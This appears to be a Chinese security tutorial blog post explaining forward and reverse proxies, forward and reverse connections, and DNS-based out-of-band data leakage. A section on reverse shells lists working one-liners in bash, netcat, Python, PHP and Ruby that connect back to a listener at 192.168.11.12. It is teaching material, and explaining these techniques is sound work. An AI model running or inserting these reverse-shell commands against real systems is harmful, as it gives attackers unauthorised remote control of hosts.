正向代理与反向代理

代理:

通常称为代理、代理服务器或 Web 代理,代理一般是指正向代理,是位于一组客户端计算机之前的服务器。当这些计算机向 Internet 上的站点和服务发出请求时,代理服务器将拦截这些请求,然后代表客户端与 Web服务器进行通信,起到中间设备的作用,我们常用的测试工具bupsuite就属于正向代理

正向代理

pc无法访问的网站我们通过代理服务器进行访问

正向代理 :是一个位于客户端和目标服务器之间的服务器(代理服务器),为了从目标服务器取得内容,客户端向代理服务器发送一个请求并指定目标,然后代理服务器向目标服务器转交请求并将获得的内容返回给客户端。

这种代理其实在生活中是比较常见的,比如访问外国网站技术,其用到的就是代理技术。

有时候,用户想要访问某国外网站,该网站无法在国内直接访问,但是我们可以访问到一个代理服务器,这个代理服务器可以访问到这个国外网站。这样呢,用户对该国外网站的访问就需要通过代理服务器来转发请求,并且该代理服务器也会将请求的响应再返回给用户。这个上网的过程就是用到了正向代理。

**正向代理的用途**

突破访问限制

提高访问速度

隐藏客户端真实IP

反向代理

反向代理 :是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个反向代理服务器。

我们要访问的是ms08,但实际访问的是nginx之后,转发给真正的ms08,可以配置多台服务器让流量更加的顺,更加的安全,不同的认为分配给不同的服务器

**反向代理的用途**

隐藏服务器真实IP

负载均衡

提高访问速度

提供安全保障

**正向代理和反向代理的区别**

1、正向代理其实是客户端的代理 ,帮助客户端访问其无法访问的服务器资源。反向代理则是服务器的代理,帮助服务器做负载均衡,安全防护等。

2、正向代理一般是客户端架设的 ,比如在自己的机器上安装一个代理软件。而反向代理一般是服务器架设的,比如在自己的机器集群中部署一个反向代理服务器。

3、正向代理中,服务器不知道真正的客户端到底是谁 ,以为访问自己的就是真实的客户端。而在反向代理中,客户端不知道真正的服务器是谁,以为自己访问的就是真实的服务器。

4、正向代理和反向代理的作用和目的不同。正向代理主要是用来解决访问限制问题。而反向代理则是提供负载均衡、安全防护等作用。二者均能提高访问速度。

**正向连接和反向连接**

正向连接

正向连接是被攻击机监听了一个端口,由攻击机去主动连接受害主机,适用于受害主机具有公网ip的情况。

反向连接

反向连接是控制主机监听一个端口,由受害主机反向去连接控制主机的过程,适用于受害主机出网(或出网且没有公网ip)的情况。例如,受害主机是一台位于内网,并且没有公网ip且能访问互联网的主机,控制主机无法直接通过ip地址访问到受害主机。所以此时需要在控制主机上监听一个端口,让受害机主动连接控制主机,从而实现对控制主机的控制。

由于反向连接是被攻击者主动连接攻击者,所以不受防火墙策略的限制

在实战中,正向连接往往受限于被控主机上的防火墙屏蔽及权限不足等情况,而反向连接可以很好地突破这些限制

反弹shell

反弹shell:反弹 shell 是指攻击者在目标系统上部署恶意代码或程序,使目标系统成为服务器,等待攻击者的系统或控制服务器主动连接。攻击者充当客户端,建立到目标系统的连接。反弹 shell 通常用于渗透测试和攻击。攻击者通过这种方式获得了对目标系统的远程访问和控制权。

**Linux常见反弹shell**

bash反弹shell:

  • nc -lvp 4444
  • bash -i>& /dev/tcp/192.168.11.12/4444 0>&1

nc反弹shell

  • nc -lvp 4444
  • nc 192.168.11.12 666 /bin/bash | nc 192.168.11.12 666
  • nc 192.168.11.12 999 -e /bin/bash Linux

python反弹shell

  • nc -lvp 9999
  • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.11.12",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call("/bin/sh","-i");'

PHP反弹shell

  • nc -lvp 6666
  • php -r '$sock=fsockopen("192.168.11.12",6666);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby反弹shell

  • nc -lvp 4444
  • ruby -rsocket -e'f=TCPSocket.open("192.168.11.12",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

**带外查询**

带外查询是一种网络攻击或渗透测试技术,其原理是在绕过网络安全设备(如防火墙、入侵检测系统)的检测下,通过非传统的通信通道来进行数据传输或执行操作。这种技术依赖于一些特殊的通信方法,以达到绕过检测的目的。通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。而从域名服务器(DNS)中提取数据。

**简单的带外查询例子**

有时候网站存在漏洞,但是数据不回显,这时候我们通过带外查询查看数据

1.访问dnslog.cn,点击Get SubDomain

2.启用powershell

3.点击Refresh Record,实现了一个简单的带外查询


相关推荐
见青..10 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道11 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
世界尽头与你15 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp0000015 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你17 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000002 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全